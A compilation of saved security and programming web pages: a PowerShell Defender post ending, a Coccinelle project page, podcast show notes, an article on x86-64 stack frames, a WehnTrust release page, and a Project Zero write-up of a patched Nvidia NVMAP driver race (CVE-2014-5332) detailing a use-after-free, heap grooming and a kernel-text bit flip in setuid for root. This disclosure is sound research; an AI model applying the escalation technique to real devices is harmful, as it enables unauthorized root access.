would like to make sure. So I check the value of **Get-Help** to see if there
is any Help here**.**

I use the command **Get-Help Get-MpPreference –full** , and I obtain the
following output:

<img src='http://blogs.technet.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-76-18/2514.HSG_2D00_10_2D00_23_2D00_13_2D00_03.png'
alt='Image of command output' />

I can tell you that in this case, the Help is no help**.** Then it dawns on
me. Wait\! In reality, this is WMI**.** Hey, it is a CIM function, which means
that under the covers, there is bound to be a WMI class**.** Groovy**.** On
MSDN, most WMI classes are well documented.

However, searching for “Windows PowerShell Help” in this case does not
help**.** This is because, as I found, all it does is document the way Windows
PowerShell works—and well, duh, I know HOW Windows PowerShell works**.** I
need to know what the output means.

So I need to look up WMI. I type a Bing query for “PowerShell Defender
ScanScheduleDay” and I get back nothing worthwhile**.** I do the same search
on MSDN. Again, I get no hits**.** Hmmm…time to go “old school” on this issue.

So I pipe the results from the **Get-MpPreference** function to **Get-Member**
, and I look at the object that returns**.** Ahhhhh…now I can see some sense.
The command and output are shown in the image that follows**.**

<img src='http://blogs.technet.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-76-18/3632.HSG_2D00_10_2D00_23_2D00_13_2D00_04.png'
alt='Image of command output' />

So I now search for “MSFT\_MpPreference” directly on MSDN, and I discover that
Windows Defender WMIv2 APIs  is documented**.** The page on MSDN lists all of
the WMI classes. Sweet\!

As it turns out, it was a good thing I looked up the answer because 0 is not
Sunday**.** Sunday, as it turns out, is 1. The MSDN portion is shown here**.**

<img src='http://blogs.technet.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-76-18/7875.HSG_2D00_10_2D00_23_2D00_13_2D00_05.png'
alt='Image of webpage' />

So, that is it**.** I am able to discover the information I need to bring
clarity the output**.**

That is all there is to using the Windows Defender module**.** Join me
tomorrow when I will talk about using the Windows Defender functions to
initiate scans and to update the files**.**

I invite you to follow me on Twitter  and Facebook **.** If you have any
questions, send email to me at scripter@microsoft.com , or post your questions
on the Official Scripting Guys Forum **.** See you tomorrow. Until then,
peace**.**

**Ed Wilson, Microsoft Scripting Guy**

****

# Coccinelle: A Program Matching and Transformation Tool for Systems Code

**Created:**| _11/23/2010 3:16:32 PM_  
---|---  
**Updated:**| _11/23/2010 3:16:58 PM_  
**Author:**| __  
**Tags:**| _research Linux software testing awesome_  
  

## What is Coccinelle?

Coccinelle is a program matching and transformation engine which provides the
language SmPL \(Semantic Patch Language\) for specifying desired matches and
transformations in C code. Coccinelle was initially targeted towards
performing _collateral evolutions_ in Linux. Such evolutions comprise the
changes that are needed in client code in response to evolutions in library
APIs, and may include modifications such as renaming a function, adding a
function argument whose value is somehow context-dependent, and reorganizing a
data structure. Beyond collateral evolutions, Coccinelle is successfully used
\(by us and others\) for finding and fixing bugs in systems code.

## Sponsors

The development of Coccinelle is supported in part by the Agence Nationale de
la Recherche \(France\) under the contract ANR-09-BLAN-0158-01 and the Danish
Research Council for Technology and Production Sciences.

The development of Coccinelle has been supported in the past by the Agence
Nationale de la Recherche \(France\) under the contract ANR-05-BLAN-0383, the
Danish Research Council for Technology and Production Sciences, and INRIA via
the cooperative research initiative ARC VeriTLA+.

## News

Coccinelle semantic patches are available in the "scripts" directory of linux-
next.

# Episode152 - PaulDotCom Security Weekly

**Created:**| _5/19/2009 3:33:24 PM_  
---|---  
**Updated:**| _9/18/2009 10:22:16 AM_  
**Author:**| __  
**Tags:**| _pauldotcom_  
  

# Tech Segment: sqlmap John Strand

From the Project Page:  _sqlmap is an open source command-line automatic SQL
injection tool. Its goal is to detect and take advantage of SQL injection
vulnerabilities in web applications._

The full text and video of John's discussion can be found here.

# Stories For Discussion

  1. SSLStrip write up and video\!
  2. Social Media Pwns \- \[Larry\] - ...and does it better than more traditional types of attacks. Nothing like giving on open API to malware developers and a legitimate method of delivery. apparently it is 10 times more successful to utilize social media to compromise machines, than sending e-mails and compromising websites.
  3. CAPTCHA your router \- \[Larry\] - D-Link is including a CAPTCHA for login for their new router firmware. Wait, haven't CAPTCHAs been broken already? Sounds like a stopgap measure to addressing the real problem, or at least a starting point.
  4. Legality of GPS tracking \- \[Larry\] Looks like things re starting to shape up on law enforcement ability to use GPS tracking. NY judges says no, butWisconsin says yes.
  5. Make your phone the password \- \[Larry\] Use your bluetooth on your phone as a proximity credential mechanism. In my opinion, you sill need to use a good password with this, but what about the vulnerabilities that you introduce by enabling Bluetooth? I love the demo video - they use the ultra secure pairing code of 1234.
  6. Hackers on Campus - Not what you think \- \[Larry\] - A great discussion of University Students hacking the Magstripe Access control and payment systems at several universities. This stuff can happen to you in your organization with magstripe technology if not properly implemented.
  7. US Cyber Command \- \[John\] - The US is looking to develop offensive Cyber Security chops. It will be interesting to see how this develops for the next US military confrontation.
  8. I hear the HIPAA train a comin' \- \[John\] - Virginia Prescription Monitoring Program had a nice security breach. This story even has ransom in it. The attacker in question says that he/she/it has 8 million records.
  9. Finally, a patch for the PowerPoint 0 day \- \[John\] - I know this horse is dead... But, dont you think it is time to go brush up on your metadata-fu?
  10. Security might be a drag for new power grid \- \[Mick\] - New power grid: I can has security? DoE: Maybe not so much...
  11. DMCA/copyright warnings invalid? \- \[Mick\] - the way BayTSP has been sending warnings are so insecure that one could make a claim they never got the notification. Not a good idea to use this as your only defense though. ;-\)
  12. ipsec-tools NULL pointer dereference DoS \- \[PaulDotCom\] - DoS, really? Haven't we covered this? DoS can equal execution. Now, I am not the worlds most foremost expert on this topic, however whenever developers analyze this kind of bug, they just say its a DoS. Then a really smart exploit developer comes along and says, "Hey look, remote code execution". I have seen this so many times, that DoS now makes me highly skeptical, and it should do the same for you.
  13. OS X - Multiple Vulns \- \[PaulDotCom\] - I think will rant on Apple for not releasing more frequent security alerts until it changes. This stinks\! Why do they wait until they have 30 security vulns to do a release? I want them when you fix them, not when you feel like releasing them. I feel, so, so, vulnerable\! Like, how many were put off until the next patch cycle? And when is the next cycle?
  14. How do you defend against zero day? \- \[PaulDotCom\] - Here's the thing, attackers will always have a zero day. Okay, maybe not 100% of the time, but when given a choice, and attacker will use a zero day. How do you defend yourself against this threat? Dilligence, penetration testing, system hardening, and procedures to start. You have to always take into account that a system, when faced with attacks, will get pwned. Whether this is a zero day, weak password, re-used password obtained from a system with known vulnerabilities, or just inherently breaking the system, it will get pwned. Then what do you do?
  15. Love THis Story On Social Engineering \- \[PaulDotCom\] - This guy socially engineered his way into a company and worked there for 5 DAYS\! Talk about having confidence\! Oh, and I thought this was funny too, "9,000 USB sticks have been found at laundrettes in the past year; left in pockets when clothes are taken to be dry-cleaned." Now, I've put my share of USB thumb drives through the wash, and they work just fine. Also, imagine what kind of good stuff you can find on thumb drives? Encrypt your data, use Ironkey \(they also go through the wash really well\).
  16. CAPTCHA For Router Login \- \[PaulDotCom\] - Way to go D-Link\! Nice to see a vendor take security seriously and implement this. This will help prevent CSRF attacks, oh wait, no it won't because that happens post-authentication\! Certainly this will help prevent default passwords from being used? Right? Oh wait, the attacker just needs to read the CAPTCHA, and certainly this can be automated, and has been by lots of malware. Sorry D-Link, you my friends.....FAIL\!\!
  17. China Deploys FreeBSD as Hardened Server OS \- \[PaulDotCom\] - Wow, this is just ridiculous. Why does everyone point the finger at China and say, "OMG, you're starting cyberwar\!", when there is no evidence of this? Credit to Ranum, I'm believing that cyberwar is bullshit. Like so how does creating a hardened OS put them in a cyber defensive position? What, you're not going to run apps on your servers? Also, I love this, "Currently FreeBSD has no stack or heap overflow mitigation beyond thread stacks and the heap being mapped non-executable \(main process stack is executable because of the way that signal handling is implemented\). " So like, you'd be better off with Win2k3 right?

# Methods for Binary Symbolic Execution - dis.pdf

**Created:**| _12/8/2014 10:06:15 AM_  
---|---  
**Updated:**| _12/8/2014 10:06:15 AM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/dis.pdf' />

# Eli Bendersky's website » Blog Archive » Stack frame layout on x86-64

**Created:**| _9/8/2011 11:19:36 AM_  
---|---  
**Updated:**| _9/8/2011 11:19:36 AM_  
**Author:**| __  
**Tags:**| _reversing_  
  

## Stack frame layout on x86-64

September 6th, 2011 at 8:13 pm

A few months ago I’ve written an article named Where the top of the stack is
on x86, which aimed to clear some misunderstandings regarding stack usage on
the x86 architecture. The article concluded with a useful diagram presenting
the stack frame layout of a typical function call.

In this article I will examine the stack frame layout of the newer 64-bit
version of the x86 architecture, x64 \[1\]. The focus will be on Linux and
other OSes following the official System V AMD64 ABI \(available from here\).
Windows uses a somewhat different ABI, and I will mention it briefly in the
end.

I have no intention of detailing the complete x64 calling convention here. For
that, you will literally have to read the whole AMD64 ABI.

### Registers galore

x86 has just 8 general-purpose registers available `(eax, ebx, ecx, edx, ebp,
esp, esi, edi)`. x64 extended them to 64 bits \(prefix "r" instead of "e"\)
and added another 8 `(r8, r9, r10, r11, r12, r13, r14, r15)`. Since some of
x86’s registers have special implicit meanings and aren’t _really_ used as
general-purpose \(most notably `ebp` and `esp`\), the effective increase is
even larger than it seems.

There’s a reason I’m mentioning this in an article focused on stack frames.
The relatively large amount of available registers influenced some important
design decisions for the ABI, such as passing many arguments in registers,
thus rendering the stack less useful than before \[2\].

### Argument passing

I’m going to simplify the discussion here on purpose and focus on
integer/pointer arguments \[3\]. According to the ABI, the first 6 integer or
pointer arguments to a function are passed in registers. The first is placed
in `rdi`, the second in `rsi`, the third in `rdx`, and then `rcx`, `r8` and
`r9`. Only the 7th argument and onwards are passed on the stack.

### The stack frame

With the above in mind, let’s see how the stack frame for this C function
looks:

[code]

    long myfunc(long a, long b, long c, long d,
                long e, long f, long g, long h)
    {
        long xx = a * b * c * d * e * f * g * h;
        long yy = a + b + c + d + e + f + g + h;
        long zz = utilfunc(xx, yy, xx % yy);
        return zz + 20;
    }
    
[/code]

This is the stack frame:

<img src='img/Temp2_2563.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/2011/08/x64_frame_nonleaf.png' />

So the first 6 arguments are passed via registers. But other than that, this
doesn’t look very different from what happens on x86 \[4\], except this
strange "red zone". What is that all about?

### The red zone

First I’ll quote the formal definition from the AMD64 ABI:

> The 128-byte area beyond the location pointed to by %rsp is considered to be
> reserved and shall not be modified by signal or interrupt handlers.
> Therefore, functions may use this area for temporary data that is not needed
> across function calls. In particular, leaf functions may use this area for
> their entire stack frame, rather than adjusting the stack pointer in the
> prologue and epilogue. This area is known as the red zone.
Put simply, the red zone is an optimization. Code can assume that the 128
bytes below `rsp` will not be asynchronously clobbered by signals or interrupt
handlers, and thus can use it for scratch data, _without explicitly moving the
stack pointer_. The last sentence is where the optimization lays –
decrementing `rsp` and restoring it are two instructions that can be saved
when using the red zone for data.

However, keep in mind that the red zone _will_ be clobbered by function calls,
so it’s usually most useful in leaf functions \(functions that call no other
functions\).

Recall how `myfunc` in the code sample above calls another function named
`utilfunc`. This was done on purpose, to make `myfunc` non-leaf and thus
prevent the compiler from applying the red zone optimization. Looking at the
code of `utilfunc`:

[code]

    long utilfunc(long a, long b, long c)
    {
        long xx = a + 2;
        long yy = b + 3;
        long zz = c + 4;
        long sum = xx + yy + zz;
    
        return xx * yy * zz + sum;
    }
    
[/code]

This is indeed a leaf function. Let’s see how its stack frame looks when
compiled with `gcc`:

<img src='img/Temp2_2564.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/2011/08/x64_frame_leaf.png' />

Since `utilfunc` only has 3 arguments, calling it requires no stack usage
since all the arguments fit into registers. In addition, since it’s a leaf
function, `gcc` chooses to use the red zone for all its local variables. Thus,
`esp` needs not be decremented \(and later restored\) to allocate space for
this data.

### Preserving the base pointer

The base pointer `rbp` \(and its predecessor `ebp` on x86\), being a stable
"anchor" to the beginning of the stack frame throughout the execution of a
function, is very convenient for manual assembly coding and for debugging
\[5\]. However, some time ago it was noticed that compiler-generated code
doesn’t really need it \(the compiler can easily keep track of offsets from
`rsp`\), and the DWARF debugging format provides means \(CFI\) to access stack
frames without the base pointer.

This is why some compilers started omitting the base pointer for aggressive
optimizations, thus shortening the function prologue and epilogue, and
providing an additional register for general-purpose use \(which, recall, is
quite useful on x86 with its limited set of GPRs\).

`gcc` keeps the base pointer by default on x86, but allows the optimization
with the `-fomit-frame-pointer` compilation flag. How recommended it is to use
this flag is a debated issue – you may do some googling if this interests you.

Anyhow, one other "novelty" the AMD64 ABI introduced is making the base
pointer explicitly optional, stating:

> The conventional use of %rbp as a frame pointer for the stack frame may be
> avoided by using %rsp \(the stack pointer\) to index into the stack frame.
> This technique saves two instructions in the prologue and epilogue and makes
> one additional general-purpose register \(%rbp\) available.
`gcc` adheres to this recommendation and by default omits the frame pointer on
x64, when compiling with optimizations. It gives an option to preserve it by
providing the `-fno-omit-frame-pointer` flag. For clarity’s sake, the stack
frames showed above were produced without omitting the frame pointer.

### The Windows x64 ABI

Windows on x64 implements an ABI of its own, which is somewhat different from
the AMD64 ABI. I will only discuss the Windows x64 ABI briefly, mentioning how
its stack frame layout differs from AMD64. These are the main differences:

  1. Only 4 integer/pointer arguments are passed in registers \(`rcx, rdx, r8, r9`\).
  2. There is no concept of "red zone" whatsoever. In fact, the ABI explicitly states that the area beyond `rsp` is considered volatile and unsafe to use. The OS, debuggers or interrupt handlers may overwrite this area.
  3. Instead, a "register parameter area" \[6\] is provided by the caller in each stack frame. When a function is called, the last thing allocated on the stack before the return address is space for at least 4 registers \(8 bytes each\). This area is available for the callee’s use without explicitly allocating it. It’s useful for variable argument functions as well as for debugging \(providing known locations for parameters, while registers may be reused for other purposes\). Although the area was originally conceived for spilling the 4 arguments passed in registers, these days the compiler uses it for other optimization purposes as well \(for example, if the function needs less than 32 bytes of stack space for its local variables, this area may be used without touching `rsp`\).

Another important change that was made in the Windows x64 ABI is the cleanup
of calling conventions. No more
`cdecl/stdcall/fastcall/thiscall/register/safecall` madness – just a single
"x64 calling convention". Cheers to that\!

For more information on this and other aspects of the Windows x64 ABI, here
are some good links:

  * Official MSDN page on x64 software conventions – well organized information, IMHO easier to follow and understand than the AMD64 ABI document.
  * Everything You Need To Know To Start Programming 64-Bit Windows Systems – MSDN article providing a nice overview.
  * The history of calling conventions, part 5: amd64 – an article by the prolific Windows programming evangelist Raymond Chen.
  * Why does Windows64 use a different calling convention from all other OSes on x86-64? – an interesting discussion of the question that just begs to be asked.
  * Challenges of Debugging Optimized x64 code – focuses on the "debuggability" \(and lack thereof\) of compiler-generated x64 code.

<img src='img/Temp2_2562.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/hline.jpg' />

\[1\]| This architecture goes by many names. Originated by AMD and dubbed
AMD64, it was later implemented by Intel, which called it IA-32e, then EM64T
and finally Intel 64. It’s also being called x86-64. But I like the name x64 –
it’s nice and short.  
---|---  
\[2\]| There are calling conventions for x86 that also dictate passing some of
the arguments in registers. The best known is probably `fastcall`.
Unfortunately, it’s not consistent across platforms.  
---|---  
\[3\]| The ABI also defines passing floating-point arguments via the `xmm`
registers. The idea is pretty much the same as for integers, however, and IMHO
including floating-point arguments in the article will needlessly complicate
it.  
---|---  
\[4\]| I’m cheating a bit here. Any compiler worth its salt \(and certainly
`gcc`\) will use registers for local variables as well, especially on x64
where registers are plentiful. But if there are a lot of local variables \(or
they’re large, like arrays or structs\), they will go on the stack anyway.  
---|---  
\[5\]| Since inside a function `rbp` always points at the previous stack
frame, it forms a kind of linked list of stack frames which the debugger can
use to access the execution stack trace at any given time \(in core dumps as
well\).  
---|---  
\[6\]| Also called "home space" sometimes.  
---|---  
Related posts:

  1. Where the top of the stack is on x86

# Project Zero: Exploiting NVMAP to escape the Chrome sandbox - CVE-2014-5332

**Created:**| _1/23/2015 12:44:00 PM_  
---|---  
**Updated:**| _1/23/2015 12:44:00 PM_  
**Author:**| __  
**Tags:**| __  
  

# Exploiting NVMAP to escape the Chrome sandbox - CVE-2014-5332

##  Posted by Lee Campbell, Graphics Pwning Unit

\[This guest post continues Project Zero’s practice of promoting excellence in
security research on the Project Zero blog\]

##  Background:

  * Chrome for Android implements a very different sandbox model to that of Chrome for Linux. One of the platform features we make use of is enabled with the android:isolatedProcess attribute on the <service> tag in the app manifest The docs say: 

android:isolatedProcess

If set to true, this service will run under a special process that is isolated
from the rest of the system and has no permissions of its own. The only
communication with it is through the Service API \(binding and starting\).

  * Under the covers this places the specified Android Service into a more restrictive SELinux policy and is what Chrome uses for its renderer processes. All is good so far. 
  * Back in September I decided to take a look at how ‘isolated’ this isolatedProcess actually is, and specifically look at the kernel attack surface. 
  * As it turns out access to the GPU drivers is not blocked and this blog is the story of exploiting Nvidia’s NVMAP driver on the Nexus 9... 

##  What is the NVMAP driver?

  * It’s used for GPU memory management on Nvidia’s Tegra chipsets. It’s used in many Android devices and more recently Chromebooks. 
  * You can find the driver code used in the Arm64 Nexus 9 and the fix is 
  * Nvidia were very responsive and released an upstream fix within a matter of days—they have recently released their bulletin CVE-2014-5332

##  Some internals:

  * The entry point is /dev/nvmap with rw-rw-rw- permissions making it accessible by all. 
  * There are a number of IOCTLs used to control this driver and they’ll be our focus for exploitation. 

##  NVMAP\_IOC\_CREATE:

  * This ioctl is used to create handles and returns a file descriptor. 
  * Handles are allocated globally and stored in struct nvmap\_handle 

struct nvmap\_handle \{

struct rb\_node node;/\* entry on global handle tree \*/

atomic\_t ref;/\* reference count \(i.e., \# of duplications\) \*/

atomic\_t pin;/\* pin count \*/

u32 flags;/\* caching flags \*/

  * Local client references are maintained by this struct: 

struct nvmap\_handle\_ref \{

struct nvmap\_handle \*handle;

struct rb\_nodenode;

atomic\_tdupes;/\* number of times to free on file close \*/

atomic\_t/\* number of times to unpin on free \*/

  * The following code is used to create this structure and allocate the file descriptor. 

int nvmap\_ioctl\_create\(struct file \*filp, unsigned int cmd, void \_\_user
\*arg\)

struct nvmap\_create\_handle op;

struct nvmap\_handle\_ref \*ref = NULL;

struct nvmap\_client \*client = filp->private\_data;

int err = 0;

int fd = 0;

if \(copy\_from\_user\(&op, arg, sizeof\(op\)\)\)

return -EFAULT;

if \(\!client\)

return -ENODEV;

if \(cmd == NVMAP\_IOC\_CREATE\) \{

ref = nvmap\_create\_handle\(client, PAGE\_ALIGN\(op.size\)\);

if \(\!IS\_ERR\(ref\)\)

ref->handle->orig\_size = op.size;

\} else if \(cmd == NVMAP\_IOC\_FROM\_ID\) \{

ref = nvmap\_duplicate\_handle\(client, unmarshal\_id\(op.id\), 0\);

\} else if \(cmd == NVMAP\_IOC\_FROM\_FD\) \{

ref = nvmap\_create\_handle\_from\_fd\(client, op.fd\);

\} else \{

return -EINVAL;

if \(IS\_ERR\(ref\)\)

return PTR\_ERR\(ref\);

fd = nvmap\_create\_fd\(client, ref->handle\);

if \(fd < 0\)

err = fd;

//POINT A

op.handle = fd;

if \(copy\_to\_user\(arg, &op, sizeof\(op\)\)\) \{ //POINT B

err = -EFAULT;

nvmap\_free\_handle\(client, \_\_nvmap\_ref\_to\_id\(ref\)\);

if \(err && fd > 0\)

sys\_close\(fd\);

return err;

  * On successful completion the handle->ref count is 2: one reference held by our client, and one reference held by the DMA subsystem that provided the file descriptor in nvmap\_create\_fd. This call always returns fd’s starting at 1024, so we can predict them. 
  * When the fd returned by the ioctl is closed by user-space the DMA subsystem releases its reference. When the fd to /dev/nvmap is closed the client releases its reference. Once the reference count equals zero the handle structure is free’ed. 

##  The bug:

  * If the copy\_to\_user at point B were to fail then nvmap\_free\_handle will destroy the client reference and the handle->ref count will drop to 1. 
  * sys\_close will then be called on the fd and this will release the DMA reference, reducing the handle->ref count to 0 and freeing it. 
  * This is the correct operation and no resources are leaked. 

  * However, the copy\_to\_user can be forced to fail by providing a userspace address in Read-Only memory, so the client reference will always be free’ed. 
  * Unfortunately a race condition exists at point A where a second user thread can dup\(1024\) and acquire another handle to the DMA subsystem. Recall fd’s are allocated predictably starting at 1024. This is an easy race to win\! 
  * The function will continue to call sys\_close and return failure. sys\_close in this case will not release the DMA reference as user-space now has another handle. 

##  Ok that’s great, what now?

  * When operating correctly, two references are held to the handle. Due to triggering the race above, there is now only one. 
  * This is a nice state for an attacker as userspace now has a reference to a handle that it can free asynchronously at any time, e.g., during another ioctl call. 
  * To trigger the free’ing of the handle struct, userspace can call close\(\) on the dup’ed fd. 

##  So now we can free on demand, can we break stuff?

  * This is tricky, we need to win more races. ;-\) 
  * The ioctl calls take the fd as a reference to the handle. In this case the dup’ed fd can be used to perform operations on the handle in the kernel. 
  * Here is an example ioctl: 

int nvmap\_ioctl\_getid\(struct file \*filp, void \_\_user \*arg\)

struct nvmap\_create\_handle op;

struct nvmap\_handle \*h = NULL;

if \(copy\_from\_user\(&op, arg, sizeof\(op\)\)\)

return -EFAULT;

h = unmarshal\_user\_handle\(op.handle\); //POINT C

if \(\!h\)

return -EINVAL;

h = nvmap\_handle\_get\(h\); //POINT D

if \(\!h\)

return -EPERM;

op.id = marshal\_id\(h\);

nvmap\_handle\_put\(h\); //POINT E

return copy\_to\_user\(arg, &op, sizeof\(op\)\) ? -EFAULT : 0;

  * Most ioctl’s follow this pattern: 

  * unmarshal\_user\_handle - to convert the fd to the address of the handle 
  * nvmap\_handle\_get - this grabs a reference, incrementing handle->ref 
  * Do some work 
  * nvmap\_handle\_put - this drops the reference, decrementing handle->ref 

  * Although userspace can now asynchronously \(in another thread\) decrement the handle->ref count and cause a free by calling close there is only a small window to do this. 
  * At point C the handle must be valid and close can not be called before this point \(or NULL will be returned\) 
  * At point D another reference is taken on the handle and calling close will not decrement the count to zero, so handle will not be free’ed until point E. 
  * So the only place corruption can occur is if userspace frees the handle between points C and D. This race is much more tricky to win as very little happens between these two points. 
  * Its made harder as to advance this exploit an attacker not only needs to free the handle but also needs to allocate something controllable in its space. As a result most of the ioctls do not provide enough time between unmarshal\_user\_handle and nvmap\_handle\_get to set up an exploitable condition. 

NVMAP\_IOC\_RESERVE to the rescue:

  * There is only one viable ioctl where I could generate enough time to create an exploitable condition. The IOC\_RESERVE ioctl can be seen here \(lots of checks removed for clarity\): 

int nvmap\_ioctl\_cache\_maint\_list\(struct file \*filp, void \_\_user \*arg,

bool is\_reserve\_ioctl\)

struct nvmap\_cache\_op\_list op;

u32 \*handle\_ptr;

u32 \*offset\_ptr;

u32 \*size\_ptr;

struct nvmap\_handle \*\*refs;

int i, err = 0;

if \(copy\_from\_user\(&op, arg, sizeof\(op\)\)\)

return -EFAULT;

refs = kcalloc\(op.nr, sizeof\(\*refs\), GFP\_KERNEL\);

if \(\!refs\)

return -ENOMEM;

handle\_ptr = \(u32 \*\)\(uintptr\_t\)op.handles;

offset\_ptr = \(u32 \*\)\(uintptr\_t\)op.offsets;

size\_ptr = \(u32 \*\)\(uintptr\_t\)op.sizes;

for \(i = 0; i < op.nr; i++\) \{

u32 handle;

if \(copy\_from\_user\(&handle, &handle\_ptr\[i\], sizeof\(handle\)\)\) \{

err = -EFAULT;

goto free\_mem;

refs\[i\] = unmarshal\_user\_handle\(handle\); //POINT F

if \(\!refs\[i\]\) \{

err = -EINVAL;

goto free\_mem;

if \(is\_reserve\_ioctl\) //POINT G

err = nvmap\_reserve\_pages\(refs, offset\_ptr, size\_ptr,

op.nr, op.op\);

free\_mem:

kfree\(refs\);

return err;

  * In this ioctl unmarshal\_user\_handle is in a loop \(point F\), which must be completed before the handles are used at point G. 
  * The iteration count, and therefore the time spent in the loop, is user-controlled. This can be made fairly large \(around 4k\) to provide enough time to set up the attack. 
  * ref\[0\] is set to the dup’ed fd. The rest of the refs\[\] are set to point another fully valid fd \(created without the dup race\). They can all be the same. 
  * While the loop spins ref\[0\] can be free’ed in another thread at point G. Now we have a stale pointer that is about to be used\! 
  * nvmap\_reserve\_pages is then called and is shown here: 

int nvmap\_reserve\_pages\(struct nvmap\_handle \*\*handles, u32 \*offsets,
u32 \*sizes,

u32 nr, u32 op\)

int i;

for \(i = 0; i < nr; i++\) \{

u32 size = sizes\[i\] ? sizes\[i\] : handles\[i\]->size;

u32 offset = sizes\[i\] ? offsets\[i\] : 0;

if \(op == NVMAP\_PAGES\_RESERVE\)

nvmap\_handle\_mkreserved\(handles\[i\], offset, size\);

nvmap\_handle\_mkunreserved\(handles\[i\],offset, size\);

if \(op == NVMAP\_PAGES\_RESERVE\)

nvmap\_zap\_handles\(handles, offsets, sizes, nr\);

return 0;

  * By setting op \!= NVMAP\_PAGES\_RESERVE nvmap\_handle\_mkunreserved is called on each handle. This is a NoOp for all handles except handle\[0\] which has been free’ed. 
  * nvmap\_handle\_mkunreserved is shown here along with its helper functions: 

static inline void nvmap\_handle\_mkunreserved\(struct nvmap\_handle \*h,

u32 offset, u32 size\)

nvmap\_handle\_mk\(h, offset, size, nvmap\_page\_mkunreserved\);

static inline void nvmap\_page\_mkunreserved\(struct page \*\*page\)

\*page = \(struct page \*\)\(\(unsigned long\)\*page & ~2UL\);

static inline void nvmap\_handle\_mk\(struct nvmap\_handle \*h,

u32 offset, u32 size,

void \(\*fn\)\(struct page \*\*\)\)

int i;

int start\_page = PAGE\_ALIGN\(offset\) >> PAGE\_SHIFT;

int end\_page = \(offset + size\) >> PAGE\_SHIFT;

if \(h->heap\_pgalloc\) \{

for \(i = start\_page; i < end\_page; i++\)

fn\(&h->pgalloc.pages\[i\]\);

  * This code uses the pointer h->pgalloc.pages stored in the handle struct. This points to an array of pointers. This array is iterated through and bit two of each pointer is cleared. 
  * start\_page and end\_page are user controlled so the number of pages can be controlled and easily set to one. 
  * As the handle has been free’ed there is a momentary opportunity to allocate attacker controlled data in its place and control h->pgalloc.pages 
  * This would allow an attacker to clear bit 2 of any word in the system. A lot of work for a single bit clear but I’ll take it :\) 

Heap groom:

  * The handle struct is 224 bytes and is allocated with kzalloc. This puts it in the 256-kmalloc heap. 
  * An attacker needs to find something that allocates quicky, is around 256 bytes long and has controllable content. 
  * Seccomp-bpf provides such a facility in the form of seccomp-bpf programs \(or filters\). I picked seccomp as I use it a lot, but there are many other things in the kernel you could pick. 
  * Allocating a filter \(sized around 256 bytes\) at point G will hopefully reallocate over the free’ed handle struct. 
  * The filter is invalid so it is immediately free’ed by seccomp-bpf but its contents will remain long enough for the attack to succeed. 
  * So now we control the pointer to a single bit clear\! 

What bit to clear?

  * We now need to find a single bit in the kernel that will provide privilege escalation. 
  * Arm64 does not protect its kernel text sections and they are writable by the kernel itself. As such the kernel can modify its own code. So I looked for a nice instruction to modify. 
  * Here is a partial disassembly of setuid \(Arm64 on the Nexus 9\) 

ffffffc0000c3bcc: 528000e0 mov w0, \#0x7ffffffc0000c3bd0: f9400821 ldr x1,
\[x1,\#16\]ffffffc0000c3bd4: f9424034 ldr x20, \[x1,\#1152\]ffffffc0000c3bd8:
97ffcd8f bl ffffffc0000b7214 <nsown\_capable>ffffffc0000c3bdc: 53001c00 uxtb
w0, w0 //Point Hffffffc0000c3be0: 35000280 cbnz w0,
ffffffc0000c3c30<SyS\_setuid+0xa8>//POINT Iffffffc0000c3be4: b9400680 ldr w0,
\[x20,\#4\]ffffffc0000c3be8: 6b0002bf cmp w21, w0

and the C version:

SYSCALL\_DEFINE1\(setuid, uid\_t, uid\)

// \[.....\]

retval = -EPERM;

if \(nsown\_capable\(CAP\_SETUID\)\) \{ //POINT J

new->suid = new->uid = kuid;

if \(\!uid\_eq\(kuid, old->uid\)\) \{

retval = set\_user\(new\);

if \(retval < 0\)

goto error;

\} else if \(\!uid\_eq\(kuid, old->uid\) && \!uid\_eq\(kuid, new->suid\)\) \{

goto error;

// \[....\]

return commit\_creds\(new\);

error:

abort\_creds\(new\);

return retval;

  * If we can make the condition at point J return non-zero then it would be as if the processes has CAP\_SETUID and the attacker could call setuid\(0\) and elevate to root. 
  * The asm code at point H is where this condition is evaluated. 
  * uxtb w0,w0 just extends the byte value in w0 to a full word and stores it back in w0 
  * At point I the branch is taken if w0 is non-zero, this is the branch the attacker would like to take to gain privilege. 
  * The byte code for uxtb w0,w0 is 0x53001c00. Using the clear bit primitive from above we can change this word to 0x51001c00. 
  * This results in the new instruction sub w0,w0,\#7. 
  * Now w0 will contain the non-zero value -7 and it will appear as if CAP\_SETGID is set. 
  * Now we just call setuid\(0\) and we are root. 
  * Easy as that\! 

Winning the race:

  * There are a number of races in this attack and the probability of success \(i.e., them all landing perfectly\) is quite low. That said, a lose is non-fatal \(for the most part\) so an attacker can just keep trying until setuid\(0\) returns success. 
  * On a real system this attack takes many thousands of attempts but usually gains root in less than 10 seconds. 

# WehnTrust - Release: WehnTrust 1.2

**Created:**| _6/25/2009 3:31:31 PM_  
---|---  
**Updated:**| _6/25/2009 3:31:36 PM_  
**Author:**| __  
**Tags:**| _security tools_  
  

WehnTrust 1.2| |   
---|---  
Released:| Aug 10 2008  
---|---  
Updated:| Aug 11 2008 by skape  
Dev status:| -not yet defined by owner-  
Rated:|  based on 3 ratings \(Add your own rating\)  
Reviewed:| 3 reviews  
Downloaded:| 1089 downloads  
Wiki link:| \[release:16198\]  
### <img src='img/Temp2_9417.png' /> Downloads & Files

  
  

<img src='img/Temp2_9419.png' alt='Application' /> Installer

application, 431K, uploaded Aug 11 2008 \- 823 downloads

<img src='img/Temp2_9418.png' alt='Source Code' /> Source code

source code, 2642K, uploaded Aug 11 2008 \- 266 downloads

WehnTrust Software License 1.0 This License governs your use of the Software
and any accompanying materials distributed with this License. You must accept
the terms of this License before using the Software. If you are an individual
working for a company, you represent and warrant that you have all necessary
authority to bind your company to the terms and conditions of this License. If
you do not agree to the terms of this License, you are not granted any rights
whatsoever in the Software or Documentation. If you are not willing to be
bound by these terms and conditions, do not download the Software. Definitions
a. "License" means this particular version of this document \(or, where
specifically indicated, a successor iteration of this License officially
issued by the Licensor\). b. "Software" means any software that is distributed
under the terms of this License, in both object code and source code. c.
"Enhancement" means any bug fix, error correction, patch, or other addition to
the Software that are independent of the Software and do not require
